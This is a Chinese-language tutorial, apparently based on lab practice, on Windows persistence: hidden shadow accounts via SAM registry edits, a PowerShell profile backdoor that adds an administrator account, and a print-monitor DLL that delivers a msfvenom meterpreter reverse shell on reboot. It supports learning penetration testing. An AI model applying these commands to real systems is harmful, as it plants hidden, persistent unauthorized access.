文中主要讲解Windows权限维持中的小技巧,通过了解掌握建立影子账号、powershell配置后门、Monitor权限维持等方式,更快知晓权限维持作用。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
建立影子账户
原理:
影子账户主要是利用在权限维持上,通过先建立带$符号的账户,然后利用注册表修改里面的值,使得管理员无法通过cmd及计算机管理等地方查看攻击者所创建的账户,从而实现权限维持。
漏洞复现:
当我们在服务器上创建一个带$符号的账户,常规的cmd是无法看到的。
从图上是无法看到这个long账户的,我们只能通过计算机管理或者控制面板的用户管理里面才能看到
那我们同样可以将这些账户进行隐藏,从而让管理员无法发现,达到影子账号的效果:
通过注册表的修改
HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
regedit
这个位置需要加权限,否则无法继续查看:
在注册表的这个位置,将1F4下F项的值复制到3ea下F项里面,进行替换,
然后在这之前创建带符号long和3ea的值进行导出;删除之前创建的带符号long账号;
从这里和计算机管理里面查看已经没有long这个账户。
但我们可以使用远程登陆来测试账号是否存在,通过测试发现可以正常登陆:
影子账户就创建成功了,这个时候就只有注册表能够查看到long$这个账户:
我们只需将administrators组的权限取消即可:
powershell配置文件后门
原理:
主要powershell配置文件也是一个powershell脚本,那我们可以利用这一点,对这个脚本文件写入自定义的语句,从而实现权限维持。
漏洞复现:
首先查看当前是否存在配置文件:
echo $profile
Test-path $profile
如果存在,那么再查看这个文件的状态,如果返回是false,则需要重新创建一个:
New-Item -Path $profile -Type File –Force
再创建一个bat文件,将创建账户写入到这个bat文件中,实现权限维持:
bat内容:
net user longwa 123456 /add & net localgroup administrators longwa /add
将这个bat文件的内容,写入配置文件中:
$string = 'Start-Process "C:\long.bat"'
$string | Out-File -FilePath $profile -Append
more $profile
最后我们只需要重新打开powershell,就会成功创建账户:
Monitor 权限维持
项目地址:
https://github.com/Al1ex/Monitor
原理:
主要通过此项目实现一个白加黑的方式,此项目为白,我们创建的dll文件为黑,再通过注册表建立值,从而实现我们持续化的权限维持:
漏洞复现:
首先在msf上生成dll文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.45.135 LPORT=12345 -f dll > test.dll
开启监听:
将Monitor及dll文件都放入目标主机的system32目录下:
注:这里dll文件名是因为直接拿的项目编译好的exe文件使用,所以需与源码里面写的名称一致,如自行编译,那么文件名称可更改。
在system32目录下执行Monitor.exe,成功反弹shell:
持久化权限维持:
修改注册表
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
regedit
这命令的意思就是在注册表的这个位置,建立一个项,项中创建一个字符串值,数值名称为Driver。数值数据为test.dll
每次当这个服务器重启的时候,就会生成反弹shell:实现持久化权限维持效果: